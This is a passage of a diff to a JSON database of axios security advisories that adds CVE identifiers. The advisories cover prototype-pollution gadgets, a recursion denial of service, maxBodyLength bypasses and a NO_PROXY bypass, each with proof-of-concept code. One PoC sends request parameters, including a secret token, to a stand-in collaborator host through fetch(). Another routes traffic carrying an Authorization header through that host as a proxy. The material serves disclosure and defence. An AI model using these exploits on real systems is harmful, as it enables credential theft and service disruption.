processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n
\nOriginal Report\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from 'axios';\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };\nawait axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = '{\"injected\":true}';\nawait axios.get('https://api.example.com/items');\nawait axios.delete('https://api.example.com/items/1');\nawait axios.head('https://api.example.com/items');\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) => {\n fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));\n return 'q=x';\n};\nawait axios.get('https://api.example.com/search', { params: { token: 'secret' } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n
", "info": [ @@ -9414,7 +9444,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "details": "## Summary\n\nAxios versions starting with `0.28.0` contain uncontrolled recursion in `formDataToJSON`, which is exposed as `axios.formToJSON()` and used internally when axios serialises `FormData` with `Content-Type: application/json`.\n\nIf an application passes attacker-controlled `FormData` field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.\n\n## Impact\n\nApplications are affected only when untrusted users can control `FormData` key names that are converted through axios.\n\nAffected paths include direct use of `axios.formToJSON()` on untrusted `FormData` and axios requests in which attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\nThe observed failure is `RangeError: Maximum call stack size exceeded`. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.\n\n## Affected Functionality\n\nAffected functionality:\n- `axios.formToJSON(formData)`\n- Named ESM export `formToJSON`\n- Default `transformRequest` behaviour for `FormData` when `Content-Type` contains `application/json`\n\nUnaffected functionality:\n- Normal multipart `FormData` submission without JSON serialisation\n- `toFormData`, which already enforces a `maxDepth` guard\n- Axios versions `<=0.27.2`, where `formDataToJSON` was not present\n\n## Technical Details\n\nThe vulnerable code is in `lib/helpers/formDataToJSON.js`.\n\n`parsePropPath()` splits a field name such as `a[x][x][x]` into path segments. `buildPath()` then recursively processes one segment per call without enforcing a maximum depth:\n\n```js\nconst result = buildPath(path, value, target[name], index);\n```\n\nA key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.\n\nRelevant source locations:\n- `lib/helpers/formDataToJSON.js` contains the unbounded recursive `buildPath()`.\n- `lib/axios.js` exposes the helper as `axios.formToJSON`.\n- `index.js` exposes `formToJSON` as a named export.\n- `index.d.ts` and `index.d.cts` declare the public API.\n- `lib/defaults/index.js` calls `formDataToJSON(data)` when JSON-serializing `FormData`.\n\nThe inverse helper, `toFormData`, already enforces `maxDepth` and throws `AxiosError` with `ERR_FORM_DATA_DEPTH_EXCEEDED`, but `formDataToJSON` does not have an equivalent guard.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from 'axios';\n\nconst fd = new FormData();\nfd.append('a' + '[x]'.repeat(15000), 'value');\n\ntry {\n axios.formToJSON(fd);\n console.log('not vulnerable');\n} catch (e) {\n console.log(`${e.constructor.name}: ${e.message}`);\n}\n```\n\nExpected result on affected versions:\n\nRangeError: Maximum call stack size exceeded\n\nThe same condition can be reached via an axios request transformation when attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\n## Workarounds\nApplications can reject or normalise untrusted form field names before calling `axios.formToJSON()`.\n\nApplications can avoid sending untrusted `FormData` through axios as JSON unless JSON conversion is required.\n\nApplications should catch errors around `formToJSON()` or axios requests that transform untrusted `FormData`.\n\n
\nOriginal Source\n\n### Summary\nAn uncontrolled recursion vulnerability in `formDataToJSON` allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like `a[x][x][x]...` with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable `RangeError`. The inverse function `toFormData` already enforces a `maxDepth` limit (default 100) for exactly this reason — `formDataToJSON` lacks the equivalent guard.\n\n### Details\n**Vulnerable function:** `buildPath` in `lib/helpers/formDataToJSON.js`, lines 50–82.\n\n`buildPath(path, value, target, index)` is called recursively — once per segment in the parsed property path — with no depth check:\n\n```javascript\n// lib/helpers/formDataToJSON.js, lines 50–82\nfunction buildPath(path, value, target, index) {\n let name = path[index++]; // advance one level\n if (name === '__proto__') return true;\n // ...\n if (!isLast) {\n // ...\n const result = buildPath(path, value, target[name], index); // recurse — NO depth guard\n // ...\n }\n}\n```\n\nThe key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).\n\n**`formDataToJSON` is a public API** consumed two ways:\n\n1. **Directly by consumers** — exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`).\n\n2. **Internally by `transformRequest`** — called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`:\n ```javascript\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n ```\n\n**Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection.\n\n### PoC\nRequires only Node.js and an unmodified axios v1.x install:\n\n```javascript\nimport formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';\n\n// Build a FormData with a single key containing 15,000 nested bracket segments\nconst fd = new FormData();\nconst key = \"a\" + \"[x]\".repeat(15000);\nfd.append(key, \"value\");\n\ntry {\n formDataToJSON(fd);\n console.log(\"Not vulnerable\");\n} catch (e) {\n console.log(e.constructor.name + \": \" + e.message);\n // RangeError: Maximum call stack size exceeded\n}\n```\n\nVerified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD):\n\n```\nRangeError: Maximum call stack size exceeded\n```\n\nThe process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process.\n\n### Impact\n**Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.\n
", "info": [ @@ -9436,7 +9469,10 @@ ], "identifiers": { "summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`", - "githubID": "GHSA-jqh4-m9w3-8hp9" + "githubID": "GHSA-jqh4-m9w3-8hp9", + "CVE": [ + "CVE-2026-67317" + ] }, "details": "## Summary\n\naxios’ fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: \"fetch\"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.\n\nThis affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.\n\n## Impact\n\nAn attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.\n\nThis does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard.\n\n## Affected Functionality\n\nAffected:\n- `adapter: \"fetch\"` or environments where axios selects the fetch adapter.\n- Request methods with bodies, such as `POST`, `PUT`, and `PATCH`.\n- `data` as a WHATWG `ReadableStream` without a reliable `Content-Length`.\n- Configurations that set `maxBodyLength` to a finite value.\n\nNot affected:\n- Axios versions before the fetch adapter was introduced.\n- The Node HTTP adapter stream enforcement path.\n- Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`.\n\n## Technical Details\n\nIn `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present.\n\nThe `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`.\n\nWhen `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap.\n\nThe expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`.\n\n## Proof of Concept of Attack\n\nRun from the axios repo root on Node 18+ against an affected version:\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) => {\n let received = 0;\n req.on('data', (chunk) => {\n received += chunk.length;\n });\n req.on('end', () => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({ received, limit: LIMIT }));\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst { port } = server.address();\n\nfunction makeReadableStream(totalBytes) {\n const chunk = new Uint8Array(64 * 1024).fill(0x42);\n let remaining = totalBytes;\n\n return new ReadableStream({\n pull(controller) {\n if (remaining <= 0) {\n controller.close();\n return;\n }\n\n const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n controller.enqueue(next);\n },\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${port}/upload`,\n makeReadableStream(PAYLOAD_BYTES),\n {\n adapter: 'fetch',\n maxBodyLength: LIMIT,\n headers: { 'content-type': 'application/octet-stream' },\n }\n );\n\n console.log(response.data);\n} finally {\n server.close();\n}\n```\n\nExpected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`.\n\n## Workarounds\n\nUse the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available.\n\n
\nOriginal Report\n\n### Summary\naxios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.\n\n### Details\nIn lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:\n\nfetch.js Lines 121-155\n```\n const getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n if (utils.isBlob(body)) {\n return body.size;\n }\n if (utils.isSpecCompliantForm(body)) {\n const _request = new Request(platform.origin, {\n method: 'POST',\n body,\n });\n return (await _request.arrayBuffer()).byteLength;\n }\n if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {\n return body.byteLength;\n }\n if (utils.isURLSearchParams(body)) {\n body = body + '';\n }\n if (utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n };\n const resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n return length == null ? getBodyLength(body) : length;\n };\n```\n\nFor a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:\n\nfetch.js Lines 214-232\n```\n // Enforce maxBodyLength against the outbound request body before dispatch.\n // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than\n // maxBodyLength limit'). Skip when the body length cannot be determined\n // (e.g. a live ReadableStream supplied by the caller).\n if (hasMaxBodyLength && method !== 'get' && method !== 'head') {\n const outboundLength = await resolveBodyLength(headers, data);\n if (\n typeof outboundLength === 'number' &&\n isFinite(outboundLength) &&\n outboundLength > maxBodyLength\n ) {\n throw new AxiosError(\n 'Request body larger than maxBodyLength limit',\n AxiosError.ERR_BAD_REQUEST,\n config,\n request\n );\n }\n }\n```\n\nThe in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:\n\nfetch.js Lines 253-261\n```\n if (_request.body) {\n const [onProgress, flush] = progressEventDecorator(\n requestContentLength,\n progressEventReducer(asyncDecorator(onUploadProgress))\n );\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n }\n```\nThe body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) => {\n let received = 0;\n req.on('data', (chunk) => {\n received += chunk.length;\n });\n req.on('end', () => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({ received, limit: LIMIT }));\n });\n req.on('error', () => {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeReadableStream(totalBytes) {\n const CHUNK = new Uint8Array(64 * 1024).fill(0x42);\n let remaining = totalBytes;\n return new ReadableStream({\n pull(controller) {\n if (remaining <= 0) {\n controller.close();\n return;\n }\n const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n controller.enqueue(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(\n `http://127.0.0.1:${port}/upload`,\n makeReadableStream(PAYLOAD_BYTES),\n {\n adapter: 'fetch',\n maxBodyLength: LIMIT,\n headers: { 'content-type': 'application/octet-stream' },\n // No content-length: the stream's total length is unknown ahead of\n // dispatch, which is exactly the vulnerable code path.\n }\n );\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err && (err.code || err.message) };\n }\n\n console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');\n console.log('axios result:', JSON.stringify(result));\n\n const ok =\n result &&\n result.status === 200 &&\n result.data &&\n typeof result.data === 'object' &&\n result.data.received === PAYLOAD_BYTES &&\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');\n process.exitCode = 1;\n }\n} finally {\n server.close();\n}\n```\n\n### Impact\n- Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).\n- Bypass of cost / quota guards on upstream APIs.\n- Resource exhaustion against the runtime's network stack and against upstream peers.\n
", "info": [ @@ -9455,7 +9491,10 @@ ], "identifiers": { "summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`", - "githubID": "GHSA-mwf2-3pr3-8698" + "githubID": "GHSA-mwf2-3pr3-8698", + "CVE": [ + "CVE-2026-67318" + ] }, "details": "## Summary\n\nAxios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.\n\nThis affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.\n\n## Impact\n\nAn attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.\n\nPractical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.\n\nBrowser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.\n\n## Affected Functionality\n\nAffected calls require all of the following:\n\n- Node.js HTTP adapter.\n- `httpVersion: 2`.\n- Request `data` supplied as a stream.\n- A finite `maxBodyLength`.\n- Attacker-controlled or attacker-influenced stream contents.\n\nUnaffected or differently affected paths:\n\n- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.\n- Browser XHR/fetch adapters are not affected.\n- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.\n- In `axios >=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node’s HTTP/2 request API does not enforce that option.\n\nThe stream-level byte-counting wrapper is currently gated on `config.maxBodyLength > -1 && config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.\n\nLocal verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.\n\nNo fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.\n\n## Proof of Concept of Attack\n\n```js\nimport http2 from 'node:http2';\nimport {Readable} from 'node:stream';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http2.createServer();\n\nserver.on('stream', (stream) => {\n let received = 0;\n\n stream.on('data', (chunk) => {\n received += chunk.length;\n });\n\n stream.on('end', () => {\n stream.respond({':status': 200, 'content-type': 'application/json'});\n stream.end(JSON.stringify({received, limit: LIMIT}));\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\n\nfunction makeBody(total) {\n const chunk = Buffer.alloc(64 * 1024, 0x41);\n let remaining = total;\n\n return new Readable({\n read() {\n if (remaining <= 0) {\n this.push(null);\n return;\n }\n\n const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n }\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${server.address().port}/upload`,\n makeBody(PAYLOAD_BYTES),\n {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n headers: {'content-type': 'application/octet-stream'}\n }\n );\n\n console.log(response.data);\n // Vulnerable result: { received: 2097152, limit: 1024 }\n} finally {\n server.close();\n}\n```\n\n## Workarounds\n\nFor `axios >=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.\n\nFor earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary\nOn Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.\n\n
\nOriginal Report\n### Details\nIn lib/adapters/http.js, transport selection is unconditional for HTTP/2:\n\nhttp.js Lines 937-956\n```\n if (isHttp2) {\n transport = http2Transport;\n } else {\n const configTransport = own('transport');\n if (configTransport) {\n transport = configTransport;\n } else if (config.maxRedirects === 0) {\n transport = isHttpsRequest ? https : http;\n isNativeTransport = true;\n } else {\n if (config.maxRedirects) {\n options.maxRedirects = config.maxRedirects;\n }\n const configBeforeRedirect = own('beforeRedirect');\n if (configBeforeRedirect) {\n options.beforeRedirects.config = configBeforeRedirect;\n }\n transport = isHttpsRequest ? httpsFollow : httpFollow;\n }\n }\n```\n\nmaxBodyLength is then stored on the request options:\n\nhttp.js Lines 958-963\n```\n if (config.maxBodyLength > -1) {\n options.maxBodyLength = config.maxBodyLength;\n } else {\n // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n options.maxBodyLength = Infinity;\n }\n```\n…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:\n\nhttp.js Lines 1270-1304\n```\n // Enforce maxBodyLength for streamed uploads on the native http/https\n // transport (maxRedirects === 0); follow-redirects enforces it on the\n // other path.\n let uploadStream = data;\n if (config.maxBodyLength > -1 && config.maxRedirects === 0) {\n const limit = config.maxBodyLength;\n let bytesSent = 0;\n uploadStream = stream.pipeline(\n [\n data,\n new stream.Transform({\n transform(chunk, _enc, cb) {\n bytesSent += chunk.length;\n if (bytesSent > limit) {\n return cb(\n new AxiosError(\n 'Request body larger than maxBodyLength limit',\n AxiosError.ERR_BAD_REQUEST,\n config,\n req\n )\n );\n }\n cb(null, chunk);\n },\n }),\n ],\n utils.noop\n );\n uploadStream.on('error', (err) => {\n if (!req.destroyed) req.destroy(err);\n });\n }\n uploadStream.pipe(req);\n```\n\nFor the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.\n\n### PoC\n```\nimport http2 from 'node:http2';\nimport { Readable } from 'node:stream';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\n// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an\n// `http://...` authority, which mirrors what axios does when the request URL\n// uses `http://` and `httpVersion: 2`.\nconst server = http2.createServer();\n\nserver.on('stream', (stream, _headers) => {\n let received = 0;\n stream.on('data', (chunk) => {\n received += chunk.length;\n });\n stream.on('end', () => {\n stream.respond({\n ':status': 200,\n 'content-type': 'application/json',\n });\n stream.end(JSON.stringify({ received, limit: LIMIT }));\n });\n stream.on('error', () => {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeBodyStream(totalBytes) {\n const CHUNK = Buffer.alloc(64 * 1024, 0x41);\n let remaining = totalBytes;\n return new Readable({\n read() {\n if (remaining <= 0) {\n this.push(null);\n return;\n }\n const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n // We intentionally do NOT set maxRedirects: 0 — that flag activates the\n // existing HTTP/1 byte-counting wrapper. The bug under test is that the\n // HTTP/2 transport path skips that wrapper entirely.\n headers: { 'content-type': 'application/octet-stream' },\n // Omit content-length so the body is streamed without a known length.\n });\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err && (err.code || err.message) };\n }\n\n console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');\n console.log('axios result:', JSON.stringify(result));\n\n const ok =\n result &&\n result.status === 200 &&\n result.data &&\n typeof result.data === 'object' &&\n result.data.received === PAYLOAD_BYTES &&\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // http2 sessions cached by axios may keep the event loop alive; force exit\n // after the assertion so the script returns instead of idling on TCP keep-alive.\n setImmediate(() => process.exit(process.exitCode || 0));\n}\n```\n\n### Impact\n- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.\n- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.\n- Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.\n
", "info": [ @@ -9475,7 +9514,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "details": "## Summary\n\nAxios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:/` can be routed through the configured proxy instead of bypassing it.\n\nThe issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.\n\n## Impact\n\nApplications are affected when all of the following are true:\n\n- The application runs axios in Node.js with the HTTP adapter.\n- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.\n- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.\n- Attacker-controlled input can influence the request URL or redirect target.\n- The configured proxy does not reject `0.0.0.0` and can reach the local destination.\n\nFor plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.\n\n## Affected Functionality\n\nAffected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:\n\n- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.\n- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.\n- Explicit caller-provided `config.proxy` remains trusted caller configuration.\n- Browser, React Native, XHR, and fetch adapter behavior are not affected.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.\n\nAt `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:\n\n```js\nreturn hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));\n```\n\nBecause `isLoopback('0.0.0.0')` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:/`. `lib/adapters/http.js:185-193` then applies the environment proxy.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from './index.js';\n\nconst listen = (handler, host = '127.0.0.1') =>\n new Promise((resolve) => {\n const server = http.createServer(handler);\n server.listen(0, host, () => resolve(server));\n });\n\nconst close = (server) => new Promise((resolve) => server.close(resolve));\n\nconst origin = await listen((req, res) => res.end('origin'), '0.0.0.0');\n\nlet proxyRequests = 0;\nconst proxy = await listen((req, res) => {\n proxyRequests += 1;\n res.end('proxied');\n});\n\nprocess.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;\nprocess.env.HTTP_PROXY = process.env.http_proxy;\nprocess.env.no_proxy = 'localhost,127.0.0.1,::1';\nprocess.env.NO_PROXY = process.env.no_proxy;\n\ntry {\n const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);\n const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);\n\n console.log({ direct: direct.data, zero: zero.data, proxyRequests });\n} finally {\n await close(origin);\n await close(proxy);\n}\n```\n\nExpected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.\n\nObserved behavior: 